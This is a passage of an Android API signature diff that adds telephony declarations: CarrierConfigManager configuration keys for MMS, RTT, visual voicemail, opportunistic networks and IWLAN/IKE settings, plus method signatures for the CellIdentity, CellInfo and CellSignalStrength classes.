+    field public static final String KEY_MMS_ALIAS_MIN_CHARS_INT = "aliasMinChars";
+    field public static final String KEY_MMS_ALLOW_ATTACH_AUDIO_BOOL = "allowAttachAudio";
+    field public static final String KEY_MMS_APPEND_TRANSACTION_ID_BOOL = "enabledTransID";
+    field public static final String KEY_MMS_CLOSE_CONNECTION_BOOL = "mmsCloseConnection";
+    field public static final String KEY_MMS_EMAIL_GATEWAY_NUMBER_STRING = "emailGatewayNumber";
+    field public static final String KEY_MMS_GROUP_MMS_ENABLED_BOOL = "enableGroupMms";
+    field public static final String KEY_MMS_HTTP_PARAMS_STRING = "httpParams";
+    field public static final String KEY_MMS_HTTP_SOCKET_TIMEOUT_INT = "httpSocketTimeout";
+    field public static final String KEY_MMS_MAX_IMAGE_HEIGHT_INT = "maxImageHeight";
+    field public static final String KEY_MMS_MAX_IMAGE_WIDTH_INT = "maxImageWidth";
+    field public static final String KEY_MMS_MAX_MESSAGE_SIZE_INT = "maxMessageSize";
+    field public static final String KEY_MMS_MESSAGE_TEXT_MAX_SIZE_INT = "maxMessageTextSize";
+    field public static final String KEY_MMS_MMS_DELIVERY_REPORT_ENABLED_BOOL = "enableMMSDeliveryReports";
+    field public static final String KEY_MMS_MMS_ENABLED_BOOL = "enabledMMS";
+    field public static final String KEY_MMS_MMS_READ_REPORT_ENABLED_BOOL = "enableMMSReadReports";
+    field public static final String KEY_MMS_MULTIPART_SMS_ENABLED_BOOL = "enableMultipartSMS";
+    field public static final String KEY_MMS_NAI_SUFFIX_STRING = "naiSuffix";
+    field public static final String KEY_MMS_NOTIFY_WAP_MMSC_ENABLED_BOOL = "enabledNotifyWapMMSC";
+    field public static final String KEY_MMS_RECIPIENT_LIMIT_INT = "recipientLimit";
+    field public static final String KEY_MMS_SEND_MULTIPART_SMS_AS_SEPARATE_MESSAGES_BOOL = "sendMultipartSmsAsSeparateMessages";
+    field public static final String KEY_MMS_SHOW_CELL_BROADCAST_APP_LINKS_BOOL = "config_cellBroadcastAppLinks";
+    field public static final String KEY_MMS_SMS_DELIVERY_REPORT_ENABLED_BOOL = "enableSMSDeliveryReports";
+    field public static final String KEY_MMS_SMS_TO_MMS_TEXT_LENGTH_THRESHOLD_INT = "smsToMmsTextLengthThreshold";
+    field public static final String KEY_MMS_SMS_TO_MMS_TEXT_THRESHOLD_INT = "smsToMmsTextThreshold";
+    field public static final String KEY_MMS_SUBJECT_MAX_LENGTH_INT = "maxSubjectLength";
+    field public static final String KEY_MMS_SUPPORT_HTTP_CHARSET_HEADER_BOOL = "supportHttpCharsetHeader";
+    field public static final String KEY_MMS_SUPPORT_MMS_CONTENT_DISPOSITION_BOOL = "supportMmsContentDisposition";
+    field public static final String KEY_MMS_UA_PROF_TAG_NAME_STRING = "uaProfTagName";
+    field public static final String KEY_MMS_UA_PROF_URL_STRING = "uaProfUrl";
+    field public static final String KEY_MMS_USER_AGENT_STRING = "userAgent";
+    field public static final String KEY_MONTHLY_DATA_CYCLE_DAY_INT = "monthly_data_cycle_day_int";
+    field public static final String KEY_ONLY_AUTO_SELECT_IN_HOME_NETWORK_BOOL = "only_auto_select_in_home_network";
+    field public static final String KEY_ONLY_SINGLE_DC_ALLOWED_INT_ARRAY = "only_single_dc_allowed_int_array";
+    field public static final String KEY_OPERATOR_SELECTION_EXPAND_BOOL = "operator_selection_expand_bool";
+    field public static final String KEY_OPPORTUNISTIC_NETWORK_BACKOFF_TIME_LONG = "opportunistic_network_backoff_time_long";
+    field public static final String KEY_OPPORTUNISTIC_NETWORK_DATA_SWITCH_EXIT_HYSTERESIS_TIME_LONG = "opportunistic_network_data_switch_exit_hysteresis_time_long";
+    field public static final String KEY_OPPORTUNISTIC_NETWORK_DATA_SWITCH_HYSTERESIS_TIME_LONG = "opportunistic_network_data_switch_hysteresis_time_long";
+    field public static final String KEY_OPPORTUNISTIC_NETWORK_ENTRY_OR_EXIT_HYSTERESIS_TIME_LONG = "opportunistic_network_entry_or_exit_hysteresis_time_long";
+    field public static final String KEY_OPPORTUNISTIC_NETWORK_ENTRY_THRESHOLD_BANDWIDTH_INT = "opportunistic_network_entry_threshold_bandwidth_int";
+    field public static final String KEY_OPPORTUNISTIC_NETWORK_ENTRY_THRESHOLD_RSRP_INT = "opportunistic_network_entry_threshold_rsrp_int";
+    field public static final String KEY_OPPORTUNISTIC_NETWORK_ENTRY_THRESHOLD_RSSNR_INT = "opportunistic_network_entry_threshold_rssnr_int";
+    field public static final String KEY_OPPORTUNISTIC_NETWORK_EXIT_THRESHOLD_RSRP_INT = "opportunistic_network_exit_threshold_rsrp_int";
+    field public static final String KEY_OPPORTUNISTIC_NETWORK_EXIT_THRESHOLD_RSSNR_INT = "opportunistic_network_exit_threshold_rssnr_int";
+    field public static final String KEY_OPPORTUNISTIC_NETWORK_MAX_BACKOFF_TIME_LONG = "opportunistic_network_max_backoff_time_long";
+    field public static final String KEY_OPPORTUNISTIC_NETWORK_PING_PONG_TIME_LONG = "opportunistic_network_ping_pong_time_long";
+    field public static final String KEY_PING_TEST_BEFORE_DATA_SWITCH_BOOL = "ping_test_before_data_switch_bool";
+    field public static final String KEY_PREFER_2G_BOOL = "prefer_2g_bool";
+    field public static final String KEY_PREVENT_CLIR_ACTIVATION_AND_DEACTIVATION_CODE_BOOL = "prevent_clir_activation_and_deactivation_code_bool";
+    field public static final String KEY_RADIO_RESTART_FAILURE_CAUSES_INT_ARRAY = "radio_restart_failure_causes_int_array";
+    field public static final String KEY_RCS_CONFIG_SERVER_URL_STRING = "rcs_config_server_url_string";
+    field public static final String KEY_READ_ONLY_APN_FIELDS_STRING_ARRAY = "read_only_apn_fields_string_array";
+    field public static final String KEY_READ_ONLY_APN_TYPES_STRING_ARRAY = "read_only_apn_types_string_array";
+    field public static final String KEY_REQUIRE_ENTITLEMENT_CHECKS_BOOL = "require_entitlement_checks_bool";
+    field @Deprecated public static final String KEY_RESTART_RADIO_ON_PDP_FAIL_REGULAR_DEACTIVATION_BOOL = "restart_radio_on_pdp_fail_regular_deactivation_bool";
+    field public static final String KEY_RTT_AUTO_UPGRADE_BOOL = "rtt_auto_upgrade_bool";
+    field public static final String KEY_RTT_DOWNGRADE_SUPPORTED_BOOL = "rtt_downgrade_supported_bool";
+    field public static final String KEY_RTT_SUPPORTED_BOOL = "rtt_supported_bool";
+    field public static final String KEY_RTT_SUPPORTED_FOR_VT_BOOL = "rtt_supported_for_vt_bool";
+    field public static final String KEY_RTT_SUPPORTED_WHILE_ROAMING_BOOL = "rtt_supported_while_roaming_bool";
+    field public static final String KEY_RTT_UPGRADE_SUPPORTED_BOOL = "rtt_upgrade_supported_bool";
+    field public static final String KEY_RTT_UPGRADE_SUPPORTED_FOR_DOWNGRADED_VT_CALL_BOOL = "rtt_upgrade_supported_for_downgraded_vt_call";
+    field public static final String KEY_SHOW_4G_FOR_3G_DATA_ICON_BOOL = "show_4g_for_3g_data_icon_bool";
+    field public static final String KEY_SHOW_4G_FOR_LTE_DATA_ICON_BOOL = "show_4g_for_lte_data_icon_bool";
+    field public static final String KEY_SHOW_APN_SETTING_CDMA_BOOL = "show_apn_setting_cdma_bool";
+    field public static final String KEY_SHOW_BLOCKING_PAY_PHONE_OPTION_BOOL = "show_blocking_pay_phone_option_bool";
+    field public static final String KEY_SHOW_CALL_BLOCKING_DISABLED_NOTIFICATION_ALWAYS_BOOL = "show_call_blocking_disabled_notification_always_bool";
+    field public static final String KEY_SHOW_CDMA_CHOICES_BOOL = "show_cdma_choices_bool";
+    field public static final String KEY_SHOW_FORWARDED_NUMBER_BOOL = "show_forwarded_number_bool";
+    field public static final String KEY_SHOW_ICCID_IN_SIM_STATUS_BOOL = "show_iccid_in_sim_status_bool";
+    field public static final String KEY_SHOW_IMS_REGISTRATION_STATUS_BOOL = "show_ims_registration_status_bool";
+    field public static final String KEY_SHOW_ONSCREEN_DIAL_BUTTON_BOOL = "show_onscreen_dial_button_bool";
+    field public static final String KEY_SHOW_SIGNAL_STRENGTH_IN_SIM_STATUS_BOOL = "show_signal_strength_in_sim_status_bool";
+    field public static final String KEY_SHOW_VIDEO_CALL_CHARGES_ALERT_DIALOG_BOOL = "show_video_call_charges_alert_dialog_bool";
+    field public static final String KEY_SHOW_WFC_LOCATION_PRIVACY_POLICY_BOOL = "show_wfc_location_privacy_policy_bool";
+    field public static final String KEY_SIMPLIFIED_NETWORK_SETTINGS_BOOL = "simplified_network_settings_bool";
+    field public static final String KEY_SIM_NETWORK_UNLOCK_ALLOW_DISMISS_BOOL = "sim_network_unlock_allow_dismiss_bool";
+    field public static final String KEY_SMS_REQUIRES_DESTINATION_NUMBER_CONVERSION_BOOL = "sms_requires_destination_number_conversion_bool";
+    field public static final String KEY_SUPPORTS_CALL_COMPOSER_BOOL = "supports_call_composer_bool";
+    field public static final String KEY_SUPPORTS_DEVICE_TO_DEVICE_COMMUNICATION_USING_DTMF_BOOL = "supports_device_to_device_communication_using_dtmf_bool";
+    field public static final String KEY_SUPPORTS_DEVICE_TO_DEVICE_COMMUNICATION_USING_RTP_BOOL = "supports_device_to_device_communication_using_rtp_bool";
+    field public static final String KEY_SUPPORTS_SDP_NEGOTIATION_OF_D2D_RTP_HEADER_EXTENSIONS_BOOL = "supports_sdp_negotiation_of_d2d_rtp_header_extensions_bool";
+    field public static final String KEY_SUPPORT_3GPP_CALL_FORWARDING_WHILE_ROAMING_BOOL = "support_3gpp_call_forwarding_while_roaming_bool";
+    field public static final String KEY_SUPPORT_ADD_CONFERENCE_PARTICIPANTS_BOOL = "support_add_conference_participants_bool";
+    field public static final String KEY_SUPPORT_ADHOC_CONFERENCE_CALLS_BOOL = "support_adhoc_conference_calls_bool";
+    field public static final String KEY_SUPPORT_CLIR_NETWORK_DEFAULT_BOOL = "support_clir_network_default_bool";
+    field public static final String KEY_SUPPORT_CONFERENCE_CALL_BOOL = "support_conference_call_bool";
+    field public static final String KEY_SUPPORT_EMERGENCY_SMS_OVER_IMS_BOOL = "support_emergency_sms_over_ims_bool";
+    field public static final String KEY_SUPPORT_ENHANCED_CALL_BLOCKING_BOOL = "support_enhanced_call_blocking_bool";
+    field public static final String KEY_SUPPORT_IMS_CONFERENCE_EVENT_PACKAGE_BOOL = "support_ims_conference_event_package_bool";
+    field public static final String KEY_SUPPORT_PAUSE_IMS_VIDEO_CALLS_BOOL = "support_pause_ims_video_calls_bool";
+    field public static final String KEY_SUPPORT_SWAP_AFTER_MERGE_BOOL = "support_swap_after_merge_bool";
+    field public static final String KEY_SUPPORT_TDSCDMA_BOOL = "support_tdscdma_bool";
+    field public static final String KEY_SUPPORT_TDSCDMA_ROAMING_NETWORKS_STRING_ARRAY = "support_tdscdma_roaming_networks_string_array";
+    field public static final String KEY_SWITCH_DATA_TO_PRIMARY_IF_PRIMARY_IS_OOS_BOOL = "switch_data_to_primary_if_primary_is_oos_bool";
+    field public static final String KEY_TREAT_DOWNGRADED_VIDEO_CALLS_AS_VIDEO_CALLS_BOOL = "treat_downgraded_video_calls_as_video_calls_bool";
+    field public static final String KEY_TTY_SUPPORTED_BOOL = "tty_supported_bool";
+    field public static final String KEY_UNLOGGABLE_NUMBERS_STRING_ARRAY = "unloggable_numbers_string_array";
+    field public static final String KEY_USE_ACS_FOR_RCS_BOOL = "use_acs_for_rcs_bool";
+    field public static final String KEY_USE_HFA_FOR_PROVISIONING_BOOL = "use_hfa_for_provisioning_bool";
+    field public static final String KEY_USE_IP_FOR_CALLING_INDICATOR_BOOL = "use_ip_for_calling_indicator_bool";
+    field public static final String KEY_USE_OTASP_FOR_PROVISIONING_BOOL = "use_otasp_for_provisioning_bool";
+    field @Deprecated public static final String KEY_USE_RCS_PRESENCE_BOOL = "use_rcs_presence_bool";
+    field public static final String KEY_USE_RCS_SIP_OPTIONS_BOOL = "use_rcs_sip_options_bool";
+    field public static final String KEY_USE_WFC_HOME_NETWORK_MODE_IN_ROAMING_NETWORK_BOOL = "use_wfc_home_network_mode_in_roaming_network_bool";
+    field public static final String KEY_VOICEMAIL_NOTIFICATION_PERSISTENT_BOOL = "voicemail_notification_persistent_bool";
+    field public static final String KEY_VOICE_PRIVACY_DISABLE_UI_BOOL = "voice_privacy_disable_ui_bool";
+    field public static final String KEY_VOLTE_REPLACEMENT_RAT_INT = "volte_replacement_rat_int";
+    field public static final String KEY_VT_UPGRADE_SUPPORTED_FOR_DOWNGRADED_RTT_CALL_BOOL = "vt_upgrade_supported_for_downgraded_rtt_call";
+    field public static final String KEY_VVM_CELLULAR_DATA_REQUIRED_BOOL = "vvm_cellular_data_required_bool";
+    field public static final String KEY_VVM_CLIENT_PREFIX_STRING = "vvm_client_prefix_string";
+    field public static final String KEY_VVM_DESTINATION_NUMBER_STRING = "vvm_destination_number_string";
+    field public static final String KEY_VVM_DISABLED_CAPABILITIES_STRING_ARRAY = "vvm_disabled_capabilities_string_array";
+    field public static final String KEY_VVM_LEGACY_MODE_ENABLED_BOOL = "vvm_legacy_mode_enabled_bool";
+    field public static final String KEY_VVM_PORT_NUMBER_INT = "vvm_port_number_int";
+    field public static final String KEY_VVM_PREFETCH_BOOL = "vvm_prefetch_bool";
+    field public static final String KEY_VVM_SSL_ENABLED_BOOL = "vvm_ssl_enabled_bool";
+    field public static final String KEY_VVM_TYPE_STRING = "vvm_type_string";
+    field public static final String KEY_WFC_EMERGENCY_ADDRESS_CARRIER_APP_STRING = "wfc_emergency_address_carrier_app_string";
+    field public static final String KEY_WORLD_MODE_ENABLED_BOOL = "world_mode_enabled_bool";
+    field public static final String KEY_WORLD_PHONE_BOOL = "world_phone_bool";
+    field public static final int SERVICE_CLASS_NONE = 0; // 0x0
+    field public static final int SERVICE_CLASS_VOICE = 1; // 0x1
+    field public static final int USSD_OVER_CS_ONLY = 2; // 0x2
+    field public static final int USSD_OVER_CS_PREFERRED = 0; // 0x0
+    field public static final int USSD_OVER_IMS_ONLY = 3; // 0x3
+    field public static final int USSD_OVER_IMS_PREFERRED = 1; // 0x1
+  }
+
+  public static final class CarrierConfigManager.Apn {
+    field @Deprecated public static final String KEY_PREFIX = "apn.";
+    field public static final String KEY_SETTINGS_DEFAULT_PROTOCOL_STRING = "apn.settings_default_protocol_string";
+    field public static final String KEY_SETTINGS_DEFAULT_ROAMING_PROTOCOL_STRING = "apn.settings_default_roaming_protocol_string";
+    field public static final String PROTOCOL_IPV4 = "IP";
+    field public static final String PROTOCOL_IPV4V6 = "IPV4V6";
+    field public static final String PROTOCOL_IPV6 = "IPV6";
+  }
+
+  public static final class CarrierConfigManager.Gps {
+    field public static final String KEY_PERSIST_LPP_MODE_BOOL = "gps.persist_lpp_mode_bool";
+    field public static final String KEY_PREFIX = "gps.";
+  }
+
+  public static final class CarrierConfigManager.Ims {
+    field public static final String KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL = "ims.enable_presence_capability_exchange_bool";
+    field public static final String KEY_ENABLE_PRESENCE_GROUP_SUBSCRIBE_BOOL = "ims.enable_presence_group_subscribe_bool";
+    field public static final String KEY_ENABLE_PRESENCE_PUBLISH_BOOL = "ims.enable_presence_publish_bool";
+    field public static final String KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL = "ims.ims_single_registration_required_bool";
+    field public static final String KEY_NON_RCS_CAPABILITIES_CACHE_EXPIRATION_SEC_INT = "ims.non_rcs_capabilities_cache_expiration_sec_int";
+    field public static final String KEY_PREFIX = "ims.";
+    field public static final String KEY_RCS_BULK_CAPABILITY_EXCHANGE_BOOL = "ims.rcs_bulk_capability_exchange_bool";
+    field public static final String KEY_RCS_FEATURE_TAG_ALLOWED_STRING_ARRAY = "ims.rcs_feature_tag_allowed_string_array";
+    field public static final String KEY_WIFI_OFF_DEFERRING_TIME_MILLIS_INT = "ims.wifi_off_deferring_time_millis_int";
+  }
+
+  public static final class CarrierConfigManager.ImsServiceEntitlement {
+    field public static final String KEY_ENTITLEMENT_SERVER_URL_STRING = "imsserviceentitlement.entitlement_server_url_string";
+    field public static final String KEY_FCM_SENDER_ID_STRING = "imsserviceentitlement.fcm_sender_id_string";
+    field public static final String KEY_IMS_PROVISIONING_BOOL = "imsserviceentitlement.ims_provisioning_bool";
+    field public static final String KEY_PREFIX = "imsserviceentitlement.";
+    field public static final String KEY_SHOW_VOWIFI_WEBVIEW_BOOL = "imsserviceentitlement.show_vowifi_webview_bool";
+  }
+
+  public static final class CarrierConfigManager.Iwlan {
+    field public static final int AUTHENTICATION_METHOD_CERT = 1; // 0x1
+    field public static final int AUTHENTICATION_METHOD_EAP_ONLY = 0; // 0x0
+    field public static final int EPDG_ADDRESS_CELLULAR_LOC = 3; // 0x3
+    field public static final int EPDG_ADDRESS_PCO = 2; // 0x2
+    field public static final int EPDG_ADDRESS_PLMN = 1; // 0x1
+    field public static final int EPDG_ADDRESS_STATIC = 0; // 0x0
+    field public static final int ID_TYPE_FQDN = 2; // 0x2
+    field public static final int ID_TYPE_KEY_ID = 11; // 0xb
+    field public static final int ID_TYPE_RFC822_ADDR = 3; // 0x3
+    field public static final String KEY_ADD_KE_TO_CHILD_SESSION_REKEY_BOOL = "iwlan.add_ke_to_child_session_rekey_bool";
+    field public static final String KEY_CHILD_SA_REKEY_HARD_TIMER_SEC_INT = "iwlan.child_sa_rekey_hard_timer_sec_int";
+    field public static final String KEY_CHILD_SA_REKEY_SOFT_TIMER_SEC_INT = "iwlan.child_sa_rekey_soft_timer_sec_int";
+    field public static final String KEY_CHILD_SESSION_AES_CBC_KEY_SIZE_INT_ARRAY = "iwlan.child_session_aes_cbc_key_size_int_array";
+    field public static final String KEY_CHILD_SESSION_AES_CTR_KEY_SIZE_INT_ARRAY = "iwlan.child_session_aes_ctr_key_size_int_array";
+    field public static final String KEY_DIFFIE_HELLMAN_GROUPS_INT_ARRAY = "iwlan.diffie_hellman_groups_int_array";
+    field public static final String KEY_DPD_TIMER_SEC_INT = "iwlan.dpd_timer_sec_int";
+    field public static final String KEY_EPDG_ADDRESS_PRIORITY_INT_ARRAY = "iwlan.epdg_address_priority_int_array";
+    field public static final String KEY_EPDG_AUTHENTICATION_METHOD_INT = "iwlan.epdg_authentication_method_int";
+    field public static final String KEY_EPDG_PCO_ID_IPV4_INT = "iwlan.epdg_pco_id_ipv4_int";
+    field public static final String KEY_EPDG_PCO_ID_IPV6_INT = "iwlan.epdg_pco_id_ipv6_int";
+    field public static final String KEY_EPDG_STATIC_ADDRESS_ROAMING_STRING = "iwlan.epdg_static_address_roaming_string";
+    field public static final String KEY_EPDG_STATIC_ADDRESS_STRING = "iwlan.epdg_static_address_string";
+    field public static final String KEY_IKE_LOCAL_ID_TYPE_INT = "iwlan.ike_local_id_type_int";
+    field public static final String KEY_IKE_REKEY_HARD_TIMER_SEC_INT = "iwlan.ike_rekey_hard_timer_in_sec";
+    field public static final String KEY_IKE_REKEY_SOFT_TIMER_SEC_INT = "iwlan.ike_rekey_soft_timer_sec_int";
+    field public static final String KEY_IKE_REMOTE_ID_TYPE_INT = "iwlan.ike_remote_id_type_int";
+    field public static final String KEY_IKE_SESSION_AES_CBC_KEY_SIZE_INT_ARRAY = "iwlan.ike_session_encryption_aes_cbc_key_size_int_array";
+    field public static final String KEY_IKE_SESSION_AES_CTR_KEY_SIZE_INT_ARRAY = "iwlan.ike_session_encryption_aes_ctr_key_size_int_array";
+    field public static final String KEY_MAX_RETRIES_INT = "iwlan.max_retries_int";
+    field public static final String KEY_MCC_MNCS_STRING_ARRAY = "iwlan.mcc_mncs_string_array";
+    field public static final String KEY_NATT_KEEP_ALIVE_TIMER_SEC_INT = "iwlan.natt_keep_alive_timer_sec_int";
+    field public static final String KEY_PREFIX = "iwlan.";
+    field public static final String KEY_RETRANSMIT_TIMER_MSEC_INT_ARRAY = "iwlan.retransmit_timer_sec_int_array";
+    field public static final String KEY_SUPPORTED_CHILD_SESSION_ENCRYPTION_ALGORITHMS_INT_ARRAY = "iwlan.supported_child_session_encryption_algorithms_int_array";
+    field public static final String KEY_SUPPORTED_IKE_SESSION_ENCRYPTION_ALGORITHMS_INT_ARRAY = "iwlan.supported_ike_session_encryption_algorithms_int_array";
+    field public static final String KEY_SUPPORTED_INTEGRITY_ALGORITHMS_INT_ARRAY = "iwlan.supported_integrity_algorithms_int_array";
+    field public static final String KEY_SUPPORTED_PRF_ALGORITHMS_INT_ARRAY = "iwlan.supported_prf_algorithms_int_array";
+  }
+
+  public abstract class CellIdentity implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public CharSequence getOperatorAlphaLong();
+    method @Nullable public CharSequence getOperatorAlphaShort();
+    method @CallSuper public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellIdentity> CREATOR;
+  }
+
+  public final class CellIdentityCdma extends android.telephony.CellIdentity {
+    method public int getBasestationId();
+    method public int getLatitude();
+    method public int getLongitude();
+    method public int getNetworkId();
+    method public int getSystemId();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellIdentityCdma> CREATOR;
+  }
+
+  public final class CellIdentityGsm extends android.telephony.CellIdentity {
+    method @NonNull public java.util.Set<java.lang.String> getAdditionalPlmns();
+    method public int getArfcn();
+    method public int getBsic();
+    method public int getCid();
+    method public int getLac();
+    method @Deprecated public int getMcc();
+    method @Nullable public String getMccString();
+    method @Deprecated public int getMnc();
+    method @Nullable public String getMncString();
+    method @Nullable public String getMobileNetworkOperator();
+    method @Deprecated public int getPsc();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellIdentityGsm> CREATOR;
+  }
+
+  public final class CellIdentityLte extends android.telephony.CellIdentity {
+    method @NonNull public java.util.Set<java.lang.String> getAdditionalPlmns();
+    method @NonNull public int[] getBands();
+    method public int getBandwidth();
+    method public int getCi();
+    method @Nullable public android.telephony.ClosedSubscriberGroupInfo getClosedSubscriberGroupInfo();
+    method public int getEarfcn();
+    method @Deprecated public int getMcc();
+    method @Nullable public String getMccString();
+    method @Deprecated public int getMnc();
+    method @Nullable public String getMncString();
+    method @Nullable public String getMobileNetworkOperator();
+    method public int getPci();
+    method public int getTac();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellIdentityLte> CREATOR;
+  }
+
+  public final class CellIdentityNr extends android.telephony.CellIdentity {
+    method @NonNull public java.util.Set<java.lang.String> getAdditionalPlmns();
+    method @NonNull public int[] getBands();
+    method @Nullable public String getMccString();
+    method @Nullable public String getMncString();
+    method public long getNci();
+    method @IntRange(from=0, to=3279165) public int getNrarfcn();
+    method @IntRange(from=0, to=1007) public int getPci();
+    method @IntRange(from=0, to=16777215) public int getTac();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellIdentityNr> CREATOR;
+  }
+
+  public final class CellIdentityTdscdma extends android.telephony.CellIdentity {
+    method @NonNull public java.util.Set<java.lang.String> getAdditionalPlmns();
+    method public int getCid();
+    method @Nullable public android.telephony.ClosedSubscriberGroupInfo getClosedSubscriberGroupInfo();
+    method public int getCpid();
+    method public int getLac();
+    method @Nullable public String getMccString();
+    method @Nullable public String getMncString();
+    method @Nullable public String getMobileNetworkOperator();
+    method public int getUarfcn();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellIdentityTdscdma> CREATOR;
+  }
+
+  public final class CellIdentityWcdma extends android.telephony.CellIdentity {
+    method @NonNull public java.util.Set<java.lang.String> getAdditionalPlmns();
+    method public int getCid();
+    method @Nullable public android.telephony.ClosedSubscriberGroupInfo getClosedSubscriberGroupInfo();
+    method public int getLac();
+    method @Deprecated public int getMcc();
+    method @Nullable public String getMccString();
+    method @Deprecated public int getMnc();
+    method @Nullable public String getMncString();
+    method @Nullable public String getMobileNetworkOperator();
+    method public int getPsc();
+    method public int getUarfcn();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellIdentityWcdma> CREATOR;
+  }
+
+  public abstract class CellInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getCellConnectionStatus();
+    method @NonNull public abstract android.telephony.CellIdentity getCellIdentity();
+    method @NonNull public abstract android.telephony.CellSignalStrength getCellSignalStrength();
+    method @Deprecated public long getTimeStamp();
+    method public long getTimestampMillis();
+    method public boolean isRegistered();
+    field public static final int CONNECTION_NONE = 0; // 0x0
+    field public static final int CONNECTION_PRIMARY_SERVING = 1; // 0x1
+    field public static final int CONNECTION_SECONDARY_SERVING = 2; // 0x2
+    field public static final int CONNECTION_UNKNOWN = 2147483647; // 0x7fffffff
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellInfo> CREATOR;
+    field public static final int UNAVAILABLE = 2147483647; // 0x7fffffff
+    field public static final long UNAVAILABLE_LONG = 9223372036854775807L; // 0x7fffffffffffffffL
+  }
+
+  public final class CellInfoCdma extends android.telephony.CellInfo implements android.os.Parcelable {
+    method @NonNull public android.telephony.CellIdentityCdma getCellIdentity();
+    method @NonNull public android.telephony.CellSignalStrengthCdma getCellSignalStrength();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellInfoCdma> CREATOR;
+  }
+
+  public final class CellInfoGsm extends android.telephony.CellInfo implements android.os.Parcelable {
+    method @NonNull public android.telephony.CellIdentityGsm getCellIdentity();
+    method @NonNull public android.telephony.CellSignalStrengthGsm getCellSignalStrength();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellInfoGsm> CREATOR;
+  }
+
+  public final class CellInfoLte extends android.telephony.CellInfo implements android.os.Parcelable {
+    method @NonNull public android.telephony.CellIdentityLte getCellIdentity();
+    method @NonNull public android.telephony.CellSignalStrengthLte getCellSignalStrength();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellInfoLte> CREATOR;
+  }
+
+  public final class CellInfoNr extends android.telephony.CellInfo {
+    method @NonNull public android.telephony.CellIdentity getCellIdentity();
+    method @NonNull public android.telephony.CellSignalStrength getCellSignalStrength();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellInfoNr> CREATOR;
+  }
+
+  public final class CellInfoTdscdma extends android.telephony.CellInfo implements android.os.Parcelable {
+    method @NonNull public android.telephony.CellIdentityTdscdma getCellIdentity();
+    method @NonNull public android.telephony.CellSignalStrengthTdscdma getCellSignalStrength();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellInfoTdscdma> CREATOR;
+  }
+
+  public final class CellInfoWcdma extends android.telephony.CellInfo implements android.os.Parcelable {
+    method public android.telephony.CellIdentityWcdma getCellIdentity();
+    method public android.telephony.CellSignalStrengthWcdma getCellSignalStrength();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellInfoWcdma> CREATOR;
+  }
+
+  @Deprecated public abstract class CellLocation {
+    ctor @Deprecated public CellLocation();
+    method @Deprecated public static android.telephony.CellLocation getEmpty();
+    method @Deprecated public static void requestLocationUpdate();
+  }
+
+  public abstract class CellSignalStrength {
+    method public abstract boolean equals(Object);
+    method public abstract int getAsuLevel();
+    method public abstract int getDbm();
+    method @IntRange(from=android.telephony.CellSignalStrength.SIGNAL_STRENGTH_NONE_OR_UNKNOWN, to=android.telephony.CellSignalStrength.SIGNAL_STRENGTH_GREAT) public abstract int getLevel();
+    method public abstract int hashCode();
+    field public static final int SIGNAL_STRENGTH_GOOD = 3; // 0x3
+    field public static final int SIGNAL_STRENGTH_GREAT = 4; // 0x4
+    field public static final int SIGNAL_STRENGTH_MODERATE = 2; // 0x2
+    field public static final int SIGNAL_STRENGTH_NONE_OR_UNKNOWN = 0; // 0x0
+    field public static final int SIGNAL_STRENGTH_POOR = 1; // 0x1
+  }
+
+  public final class CellSignalStrengthCdma extends android.telephony.CellSignalStrength implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAsuLevel();
+    method public int getCdmaDbm();
+    method public int getCdmaEcio();
+    method public int getCdmaLevel();
+    method public int getDbm();
+    method public int getEvdoDbm();
+    method public int getEvdoEcio();
+    method public int getEvdoLevel();
+    method public int getEvdoSnr();
+    method @IntRange(from=android.telephony.CellSignalStrength.SIGNAL_STRENGTH_NONE_OR_UNKNOWN, to=android.telephony.CellSignalStrength.SIGNAL_STRENGTH_GREAT) public int getLevel();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellSignalStrengthCdma> CREATOR;
+  }
+
+  public final class CellSignalStrengthGsm extends android.telephony.CellSignalStrength implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAsuLevel();
+    method public int getBitErrorRate();
+    method public int getDbm();
+    method @IntRange(from=android.telephony.CellSignalStrength.SIGNAL_STRENGTH_NONE_OR_UNKNOWN, to=android.telephony.CellSignalStrength.SIGNAL_STRENGTH_GREAT) public int getLevel();
+    method public int getRssi();
+    method public int getTimingAdvance();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellSignalStrengthGsm> CREATOR;
+  }
+
+  public final class CellSignalStrengthLte extends android.telephony.CellSignalStrength implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAsuLevel();
+    method @IntRange(from=0, to=15) public int getCqi();
+    method @IntRange(from=1, to=6) public int getCqiTableIndex();
+    method public int getDbm();
